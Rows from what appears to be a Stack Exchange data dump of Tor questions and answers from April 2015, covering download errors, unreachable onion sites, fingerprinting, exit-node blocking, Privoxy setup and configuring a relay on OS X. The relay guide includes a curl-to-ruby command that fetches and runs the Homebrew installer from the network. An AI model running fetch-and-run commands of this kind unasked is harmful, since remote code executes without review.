  <row Id="6543" PostTypeId="2" ParentId="3383" CreationDate="2015-04-01T01:57:37.173" Score="1" Body="&lt;p&gt;Get a server in a country where Tor is legal. Google Cloud, Amazon EC2, Linode and others are suitable. Install GNU/Linux (e.g. Debian), Tor and &lt;a href=&quot;https://github.com/Yawning/obfs4&quot; rel=&quot;nofollow&quot;&gt;obfs4proxy&lt;/a&gt;, or some other pluggable transport. Use the server as a private bridge with the obfourscator enabled and your traffic will just appear as truly random bytes. Finally, automate all of this and change the server and/or provider each hour/day/month.&lt;/p&gt;&#xA;" OwnerDisplayName="user3249" LastActivityDate="2015-04-01T01:57:37.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6544" PostTypeId="1" CreationDate="2015-04-01T03:49:52.673" Score="1" ViewCount="137" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/download/download&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following error: The requested URL /torbrowser/4.0.6/torbrowser-install-4.0.6_en-US.exe was not found on this server.&lt;/p&gt;&#xA;" OwnerUserId="7086" LastActivityDate="2015-04-01T04:04:03.013" Title="What happened to the Tor downloads? Is there a safe alternative site to download from?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6545" PostTypeId="2" ParentId="6544" CreationDate="2015-04-01T04:04:03.013" Score="2" Body="&lt;p&gt;This is a transient error while a new version of TorBrowser is uploaded. The issue is currently being fixed. Just try again in a little while and everything should work again.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-04-01T04:04:03.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6546" PostTypeId="1" CreationDate="2015-04-01T06:06:51.307" Score="22" ViewCount="338580" Body="&lt;p&gt;I am rather new to Tor and not sure if it is something I missed, or that I have done wrong. Almost every single onion site (90% of them) I try to access shows the error message &quot;Unable to connect&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the Tor check, and it says that I'm using it. If anyone could help me that would be great! thank you&lt;/p&gt;&#xA;" OwnerUserId="7088" LastEditorUserId="9638" LastEditDate="2015-11-22T23:55:22.730" LastActivityDate="2016-04-23T16:08:29.593" Title="Why can't I open most of the onion sites?" Tags="|tor-browser-bundle|help|torcheck|error|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6547" PostTypeId="2" ParentId="6546" CreationDate="2015-04-01T11:30:49.873" Score="17" Body="&lt;p&gt;First make sure your clock, date, and timezone are set correctly.&#xA;Also check the log for any issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many sites has gone down, and are not online anymore that are linked to all over the place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then try some of the sites that are hosted by big providers with the most amount of uptime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples are: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://facebookcorewwwi.onion&quot;&gt;Facebook&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://3g2upl4pq6kufc4m.onion/&quot;&gt;DuckDuckGo&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If these sites work, then I'd say that the other sites you are trying are simply not online.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="5445" LastEditDate="2015-05-27T19:50:08.763" LastActivityDate="2015-05-27T19:50:08.763" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6548" PostTypeId="1" AcceptedAnswerId="6554" CreationDate="2015-04-02T08:35:51.303" Score="2" ViewCount="1094" Body="&lt;p&gt;As soon as I download the new Tor Browser, I go to &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow&quot;&gt;https://panopticlick.eff.org/&lt;/a&gt; to see how anonymous I am. But right after a new Tor Browser release, it always tells me I'm unique! Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought Tor Browser is supposed to provide anonymity, and Panopticlick is supposed to measure anonymity?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-04-07T08:46:47.203" Title="Why does Panopticlick tell me the new Tor Browser is unique?" Tags="|tor-browser-bundle|anonymity|fingerprinting|panopticlick|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6550" PostTypeId="2" ParentId="4847" CreationDate="2015-04-02T11:15:59.557" Score="1" Body="&lt;p&gt;I could not replicate your result in Tor Browser 4.0.6. That suggests that either the initial result was incorrect (i.e., the the website provided incorrect information about DOM storage, or else that a problem that did exist in Tor Browser 4.0.2 has now been corrected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Potential exploits get exploited almost as soon as they become known but the dangers that they pose are dramatically reduced by ensuring that you are using the latest Tor Browser version.&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2015-04-02T11:15:59.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6551" PostTypeId="1" CreationDate="2015-04-02T12:09:58.870" Score="1" ViewCount="3881" Body="&lt;p&gt;Using torbrowser-install-4.0.6_en-US.exe installed 4/1/2015 with no modifications. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://airbnb.com&quot; rel=&quot;nofollow&quot;&gt;http://airbnb.com&lt;/a&gt; is a wildly popular vacation rental business which is illegal is many jurisdictions in California which regulate transient occupancy of rentals less the 30 days.  The policy of airbnb.com is that anyone should be able to rent their house or room that wants to.  To that end, airbnb.com will not reveal the address of listing making enforcement by local jurisdictions problematic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When tor is used to access airbnb.com, the results are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Stay tuned.&#xA;  Error code: 503&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We’re experiencing some unexpected issues, but our team is already working &gt; to fix the problem. We’ll be back up and running shortly.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you need help from our customer service team about an ongoing reservation, please call us. During this time we reserve our phone number for emergency situations only, so please keep the lines open for travelers and hosts who need immediate attention. If it isn’t an urgent matter, please visit our Help Center for additional information. Thanks for your patience!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Check our Twitter account for updates.&#xA;  You can also swing by our blog.&#xA;  For urgent situations please call us &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Yet, at the same time if I use regular browsers, e.g. Firefox or Chrome, the main page renders without a problem.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Question: Can web sites detect a TOR browser and then takes steps to defeat access?  It appears from my effort to anonymously browse airbnb.com that such is the case.  Is this a matter of configuration the Tor browser to allow certain activities such as Flash or other dangerous compromises to a browser?  The fact that the error code is an http error code, e.g. 503, it suggests that something more than browser configuration is afoot.&lt;/p&gt;&#xA;" OwnerUserId="7100" LastEditorUserId="88" LastEditDate="2015-04-02T21:48:21.777" LastActivityDate="2018-04-30T17:48:54.477" Title="Tor access for airbnb.com causes 503 Service Unavailable" Tags="|tor-browser-bundle|blocked-services|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6552" PostTypeId="2" ParentId="3994" CreationDate="2015-04-02T22:16:29.200" Score="2" Body="&lt;p&gt;You need to do some steps to get Privoxy working with Tor and Safari.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the Privoxy config file and search for &lt;em&gt;9050&lt;/em&gt;. You'll find the line: &lt;code&gt;#        forward-socks5   /               127.0.0.1:9050 .&lt;/code&gt;. Remove the &lt;code&gt;#&lt;/code&gt; at the beginning of the line. If you're using Tor Browser, Tor listens on port 9150, so change the 9050 to 9150. If you have installed a system-wide Tor, it listens on port 9050 and you're all set.&lt;/li&gt;&#xA;&lt;li&gt;Restart Privoxy.&lt;/li&gt;&#xA;&lt;li&gt;Make sure your Tor software runs (either as system-wide daemon or by starting Tor browser).&lt;/li&gt;&#xA;&lt;li&gt;Open Safari and change the proxy settings 127.0.0.1:8118&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;a href=&quot;https://check.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://check.torproject.org/&lt;/a&gt; and see if everything is working.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-04-02T22:16:29.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6553" PostTypeId="2" ParentId="4086" CreationDate="2015-04-03T05:40:10.487" Score="4" Body="&lt;p&gt;CSS can also measure your window width and height and send it back to the server. See the demo here:&#xA;&lt;a href=&quot;https://arthuredelstein.github.io/tordemos/media-query-fingerprint.html&quot;&gt;https://arthuredelstein.github.io/tordemos/media-query-fingerprint.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7103" LastActivityDate="2015-04-03T05:40:10.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6554" PostTypeId="2" ParentId="6548" CreationDate="2015-04-03T06:56:04.413" Score="4" Body="&lt;p&gt;Panopticlick works by comparing your browser's fingerprint with what it has seen so far. So when you're the first or one of the first users that access it with a new version, it hasn't recorded data from other Tor Browser users yet. After a while, more people visit it using Tor Browser and you're not unique anymore.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-04-03T06:56:04.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6555" PostTypeId="2" ParentId="6551" CreationDate="2015-04-03T07:05:01.817" Score="1" Body="&lt;p&gt;First off, airbnb.com worked fine in my testing when using Tor Browser. I think it was probably a transient error in their system/a temporary spam prevention measure. To answer your question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, it is possible that websites check whether you're using Tor. The first big tell is getting a connection from a known exit node, but it's not the only thing. Just alone based on that it would be trivial to send you to any kind of error page. But it is even possible to send error pages based on detected browser configuration with little chance for you to figure out why it is happening.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-04-03T07:05:01.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6556" PostTypeId="1" AcceptedAnswerId="6565" CreationDate="2015-04-03T16:59:04.203" Score="2" ViewCount="237" Body="&lt;p&gt;my name is Festus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to turn off the nag screens (both popups and notifications) that ask me to update the TOR browser on Mac OS X? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Generally speaking, I like to run the latest edition of whatever software I use. But in the case of TOR, there's a glitch in the update procedure that deletes all of my bookmarks whenever I update so I'd rather not receive each and every new edition).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked in Settings (Cmd-,) but see no options to turn off the nag screens. Is there some special service that I need to disable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Festus&lt;/p&gt;&#xA;" OwnerUserId="7109" LastActivityDate="2015-07-06T09:43:57.497" Title="Turning off Update Nag screens for Tor on OS X" Tags="|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6557" PostTypeId="1" CreationDate="2015-04-04T03:14:40.247" Score="1" ViewCount="875" Body="&lt;p&gt;I have verified the Download.  Same ISO of Tails 1.3.2 starts far faster on a 2009 Mac Book Pro.  A previous version of Tails also took much longer to boot, but eventually it would start, and probably would this time.   I have the Ethernet cable from the router Plugged in, worked well for the Mac and in the Windows of the Alienware.  I am starting in Tails Option Safe mode.  While yes, it adds more time, I turned off the fast boot in the BIOS, thinking that while it would do a memory check, Tails is not the Windows 8.1 PRO.   I turned off the secure boot and UEFI, and set it to use Legacy Boot.  After 15 minutes booting on Alienware,  I get past where Tails asks its long list, do i want to log in, Do I want to use a bridge.   I choose none of those. I would guess it takes over thirty minutes to boot Tails in a far faster Alienware than Mac Book Pro.  Absurdly long.   I am guessing some Alienware hardware is giving Tails some difficulty.   How can I get a txt list of what is happening during the boot, and see what it hardware it does not like.  Or what might I try?&lt;/p&gt;&#xA;" OwnerUserId="7114" LastActivityDate="2017-02-09T05:07:59.903" Title="Tails 1.3.2 takes an inordinately long time to start on Alienware 14." Tags="|tails|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6558" PostTypeId="1" AcceptedAnswerId="6575" CreationDate="2015-04-04T06:29:47.117" Score="4" ViewCount="647" Body="&lt;p&gt;UPDATE: See my answer below for instructions, I added a Dynamic DNS and added that as the &quot;Address&quot; in torrc. Once I did that I got the &quot;Self-testing indicates your ORPort is reachable. Excellent.&quot; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently started a relay and it appears to be getting traffic OK but the log shows:&#xA;&quot;Your server (3.11.33.113:443) has not managed to confirm that its ORPort is reachable.&quot;&#xA;&quot;Your server (3.11.33.113:9030) has not managed to confirm that its DirPort is reachable.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have ORPort advertised on 443 and binding to 9001.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I check netstat:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;watch -d -n0 &quot;netstat -atnp | grep 9001&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see established connections to other Tor relays (I checked the IPs in Atlas).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested the port forwarding via YouGetSignal and it says the ports are open. I also tested the ports for outbound traffic via portquiz and they worked fine.&#xA;&lt;strong&gt;Is the not managed to confirm error something I need to actively try to fix? &lt;em&gt;If so, how?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Router: Asus RT-N66U w/DD-WRT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabled port forwarding through: NAT / QoS =&gt; Port Forwarding&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a copy of the Port Forwarding table on my router:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Application | Protocol | Source Net | Port from | IP Address | Port to | Enable&#xA;Tor-Dir     | TCP      | [blank]    | 63118     | 3.11.33.113 | 63118  | Checked&#xA;Tor-OR      | TCP      | [blank]    | 443       | 3.11.33.113 | 9001   | Checked&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Relay is being assigned the above IP via static lease tied to it's MAC Address. I have checked the IP address via ifconfig eth0 to confirm it has 3.11.33.113 as it's address.&lt;/p&gt;&#xA;" OwnerUserId="7062" LastEditorUserId="7062" LastEditDate="2015-04-08T03:17:22.517" LastActivityDate="2015-05-28T07:05:37.343" Title="Relay getting traffic showing as unreachable?" Tags="|relays|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6559" PostTypeId="1" CreationDate="2015-04-04T07:51:41.660" Score="0" ViewCount="237" Body="&lt;p&gt;I heard that people can block the &quot;exit nodes&quot; IPs which are public so nobody can use tor to access their websites. Is this true? Doesn't that make tor useless in that case?&lt;/p&gt;&#xA;" OwnerUserId="7116" LastActivityDate="2016-06-02T19:56:53.947" Title="Tor no longer works on sites that want to block it" Tags="|exit-relays|windows|website|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6560" PostTypeId="2" ParentId="6559" CreationDate="2015-04-04T09:03:40.390" Score="1" Body="&lt;p&gt;Yes, that is true. Tor is designed so that web site operators who wish to block access through Tor can do so relatively easily.&lt;/p&gt;&#xA;" OwnerUserId="1765" LastActivityDate="2015-04-04T09:03:40.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6562" PostTypeId="2" ParentId="1788" CreationDate="2015-04-04T12:29:16.917" Score="6" Body="&lt;p&gt;Advertised bandwidth as reported by atlas and globe is really what is&#xA;observed as of far. Your relay has only been up for four days, and as your&#xA;relay proves its reliability and speed, advertised bandwidth will go up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-relays/2014-June/004711.html&quot; rel=&quot;noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-relays/2014-June/004711.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7120" LastActivityDate="2015-04-04T12:29:16.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6564" PostTypeId="2" ParentId="6558" CreationDate="2015-04-04T15:15:34.480" Score="1" Body="&lt;p&gt;Yes, you need to fix it, otherwise the Tor network will never learn about your relay. Are you sure the port forwarding from port 443 to port 9001 actually works? Maybe the forward is going to the wrong place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For testing, just bind and advertise a high port and don't do any port forwarding.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-04-04T15:15:34.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6565" PostTypeId="2" ParentId="6556" CreationDate="2015-04-04T15:21:44.740" Score="0" Body="&lt;p&gt;it's really not advisable to skip an update, basically all the updates fix something that's security-relevant. That's why there is no way to remove the nagscreen without turning off the entire updater. To do that, type &quot;about:config&quot; into the url bar and then change the value of app.update.enabled to false.&lt;/p&gt;&#xA;" OwnerUserId="6883" LastActivityDate="2015-04-04T15:21:44.740" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6567" PostTypeId="1" AcceptedAnswerId="6568" CreationDate="2015-04-04T23:27:04.103" Score="4" ViewCount="3061" Body="&lt;h1&gt;Manually configuring a Tor Relay on OS X&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;(Yosemite, Tor 0.2.5.11)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Vidalia has been deprecated the EFF videos and other documentation about running a relay outside of the Tor Browser Bundle are no longer up to date for OS X.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;General google results also return pretty poor information about port forwarding, why it's necessary, how to do it, and specific examples.&lt;/p&gt;&#xA;" OwnerUserId="7124" LastEditorUserId="7124" LastEditDate="2015-04-05T00:02:48.257" LastActivityDate="2015-04-05T00:02:48.257" Title="How do I manually setup a relay on OS X?" Tags="|configuration|relays|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6568" PostTypeId="2" ParentId="6567" CreationDate="2015-04-04T23:58:47.590" Score="6" Body="&lt;h1&gt;Manually configuring a Tor Relay on OS X&lt;/h1&gt;&#xA;&lt;p&gt;(Yosemite, Tor 0.2.5.11)&lt;/p&gt;&#xA;&lt;p&gt;This guide walks you through the process of configuring your very own&#xA;tor relay explaining each step along the way.  It's targeted for people interested in running a relay outside of the Tor Browser Bundle.  Hopefully you'll find these steps concise and easy to follow - this is the manual method now that Vidalia has been deprecated.&lt;/p&gt;&#xA;&lt;p&gt;First install homebrew which will allow us to install the most recent&#xA;version of Tor (&lt;a href=&quot;http://brew.sh&quot; rel=&quot;noreferrer&quot;&gt;http://brew.sh&lt;/a&gt;)&#xA;The following command pasted into a terminal will download and install homebrew.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ruby -e &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once that completes we'll use homebrew to install tor with the&#xA;following command.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;brew install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;At this point tor should be installed and the homebrew command should&#xA;have printed the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;You will find a sample `torrc` file in /usr/local/etc/tor.&#xA;It is advisable to edit the sample `torrc` to suit your own security needs:&#xA;https://www.torproject.org/docs/faq#torrc&#xA;After editing the `torrc`  you need to restart tor.&#xA;&#xA;To have launchd start tor at login:&#xA;  ln -svn /usr/local/opt/tor/*.plist ~/Library/LaunchAgents&#xA;Then to load tor now:&#xA;  launchctl load ~/Library/LaunchAgents/homebrew.mxcl.tor.plist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Notice that it mentions the location of the torrc file (we're going to&#xA;edit that next).  It also explains how to have tor run at startup and&#xA;how to start it now.  Before we go ahead and run those commands let's&#xA;create the location logging is supposed to go since for some reason it&#xA;doesn't already exist.&#xA;These commands are creating directories.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mkdir /usr/local/Cellar/tor/0.2.5.11/var&#xA;mkdir /usr/local/Cellar/tor/0.2.5.11/var/log&#xA;mkdir /usr/local/Cellar/tor/0.2.5.11/var/log/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Similarly create the following for the DataDirectory if it doesn't&#xA;already exist.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mkdir /usr/local/Cellar/tor/0.2.5.11/var/lib&#xA;mkdir /usr/local/Cellar/tor/0.2.5.11/var/lib/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Next let's edit the torrc.sample file and save it as torrc.&#xA;To open its location in a finder window use the following command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;open /usr/local/etc/tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then open the torrc.sample file in your chosen editor (text edit works fine).&lt;/p&gt;&#xA;&lt;p&gt;Read through the file and try to understand what each of the options&#xA;are, at a minimum we're going to want to uncomment and use the&#xA;following options.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#Sets the logging location&#xA;Log notice file /usr/local/Cellar/tor/0.2.5.11/var/log/tor/notices.log&#xA;&#xA;#Sets the DataDirectory&#xA;DataDirectory /usr/local/Cellar/tor/0.2.5.11/var/lib/tor&#xA;&#xA;#If you're only configuring this as a relay&#xA;SocksPort 0&#xA;&#xA;#Your main ORPort&#xA;ORPort 9001&#xA;&#xA;#Name of your relay&#xA;Nickname supercoolrelay&#xA;&#xA;#Bandwidth limits&#xA;RelayBandwidthRate 5000 KB&#xA;RelayBandwidthBurst 10000 KB&#xA;&#xA;#Way for the tor project to contact you&#xA;ContactInfo Random Person &amp;lt;a special email you should make just for&#xA;this&amp;gt;@gmail.com&#xA;&#xA;#What port to advertise for directory connections&#xA;DirPort 9030&#xA;&#xA;#If you don't want to run an exit (if you're able to run an exit&#xA;please use the file default!)&#xA;ExitPolicy reject *:* # no exits allowed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once you've uncommented/edited those lines save the file as torrc and exit.&lt;/p&gt;&#xA;&lt;p&gt;Now it's time for an oversimplified and possibly inaccurate lesson&#xA;about Networking.&#xA;You are probably sitting at a home network at a computer connected&#xA;wirelessly or wired to a router which is connected to a modem which is&#xA;connecting you to the outside Internet.&lt;/p&gt;&#xA;&lt;p&gt;Your entire network connection has one IPv4 address facing the outside&#xA;world.  Your router then uses NAT which stands for Network Address&#xA;Translation to remap traffic to the unique IP addresses you have per&#xA;device on your local intranet.  When we configure 'port forwarding'&#xA;we're telling your router to take the ports we need on your computer's&#xA;local IP behind the router and forward them to the ports exposed to&#xA;the real internet as part of this NAT process.&lt;/p&gt;&#xA;&lt;p&gt;In this case this allows the tor relay we've configured to receive incoming connections on the port we've specified.  Unfortunately this process is different for every router, but in order to provide an example I'll show what the changes look like for an Apple Airport Extreme and hopefully&#xA;you'll be able to translate them to your own router's settings.  First&#xA;though we need to know your computer's local IP.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open System Preferences&lt;/li&gt;&#xA;&lt;li&gt;Click Network&lt;/li&gt;&#xA;&lt;li&gt;Click Advanced&lt;/li&gt;&#xA;&lt;li&gt;Click TCP/IP&lt;/li&gt;&#xA;&lt;li&gt;In this window you should see &amp;quot;IPv4 Address: XX.X.X.X&amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That's the address we need.&lt;/p&gt;&#xA;&lt;p&gt;Next open Airport Utilty (this is to configure port forwarding on an&#xA;Apple Airport Extreme router)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click on the Airport Extreme&lt;/li&gt;&#xA;&lt;li&gt;Click Edit on the tooltip that pops up&lt;/li&gt;&#xA;&lt;li&gt;Click Network&lt;/li&gt;&#xA;&lt;li&gt;Notice the Port Settings Box, Click +&lt;/li&gt;&#xA;&lt;li&gt;Add the following settings:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Description: Tor Ports&lt;/p&gt;&#xA;&lt;p&gt;Public UDP Ports: 9001, 9030&lt;/p&gt;&#xA;&lt;p&gt;Public TCP Ports: 9001, 9030&lt;/p&gt;&#xA;&lt;p&gt;Private IP Address: XX.X.X.X (this is the IP we found in Network)&lt;/p&gt;&#xA;&lt;p&gt;Private UDP Ports: 9001, 9030&lt;/p&gt;&#xA;&lt;p&gt;Public TCP Ports: 9001, 9030&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Click Save&lt;/li&gt;&#xA;&lt;li&gt;Click Update (note the router will reboot)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Note: This example shows the default ports we configured in our torrc,&#xA;if you need to or decide to use different ports you'd have to&#xA;configure the forwarding differently.  I think only the TCP settings&#xA;matter here, but I ended up setting both while trying to get this to&#xA;work.&lt;/p&gt;&#xA;&lt;p&gt;Now we can set tor to launch on startup as well as start it right now&#xA;with these two commands.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ln -svn /usr/local/opt/tor/*.plist ~/Library/LaunchAgents&#xA;launchctl load ~/Library/LaunchAgents/homebrew.mxcl.tor.plist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: If you make changes to torrc in the future you need to restart&#xA;tor.  You can restart tor with the following command.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pkill -sighup tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now let's check out the logs and verify things are working.  This&#xA;command will show the end of the log and any new lines as they appear.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tail -f /usr/local/Cellar/tor/0.2.5.11/var/log/tor/notices.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In a few mintues you should see the following lines if things are working:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;19:29:38 [NOTICE] Self-testing indicates your ORPort is reachable from&#xA;the outside. Excellent. Publishing server descriptor.&#xA;19:29:36 [NOTICE] Self-testing indicates your DirPort is reachable&#xA;from the outside. Excellent.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you see something like the following it's irrelevant:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Apr 02 22:33:02.000 [notice] Have tried resolving or connecting to&#xA;address '[scrubbed]' at 3 different places. Giving up.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And if you see this it's not working (the X's here represent your&#xA;public internet facing IPv4):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Apr 03 17:10:41.000 [warn] Your server (XX.XXX.XXX.XXX:9001) has not&#xA;managed to confirm that its ORPort is reachable. Please check your&#xA;firewalls, ports, address, /etc/hosts file, etc.&#xA;Apr 03 17:10:41.000 [warn] Your server (XX.XXX.XXX.XXX:9030) has not&#xA;managed to confirm that its DirPort is reachable. Please check your&#xA;firewalls, ports, address, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you're still having trouble try hopping on IRC.&lt;/p&gt;&#xA;" OwnerUserId="7124" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-04-04T23:58:47.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6569" PostTypeId="2" ParentId="6559" CreationDate="2015-04-05T00:08:27.613" Score="5" Body="&lt;p&gt;Yes - the surrounding details about this are desribed in the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#HideExits&quot; rel=&quot;noreferrer&quot;&gt;General FAQ&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;You should hide the list of Tor relays, so people can't block the exits.&lt;/h1&gt;&#xA;&lt;p&gt;There are a few reasons we don't:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We can't help but make the information available, since Tor clients need to use it to pick their paths. So if the &amp;quot;blockers&amp;quot; want it, they&#xA;can get it anyway. Further, even if we didn't tell clients about the&#xA;list of relays directly, somebody could still make a lot of&#xA;connections through Tor to a test site and build a list of the&#xA;addresses they see.&lt;/li&gt;&#xA;&lt;li&gt;If people want to block us, we believe that they should be allowed to do so. Obviously, we would prefer for everybody to allow Tor users&#xA;to connect to them, but people have the right to decide who their&#xA;services should allow connections from, and if they want to block&#xA;anonymous users, they can.&lt;/li&gt;&#xA;&lt;li&gt;Being blockable also has tactical advantages: it may be a persuasive response to website maintainers who feel threatened by Tor.&#xA;Giving them the option may inspire them to stop and think about&#xA;whether they really want to eliminate private access to their system,&#xA;and if not, what other options they might have. The time they might&#xA;otherwise have spent blocking Tor, they may instead spend rethinking&#xA;their overall approach to privacy and anonymity.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7124" 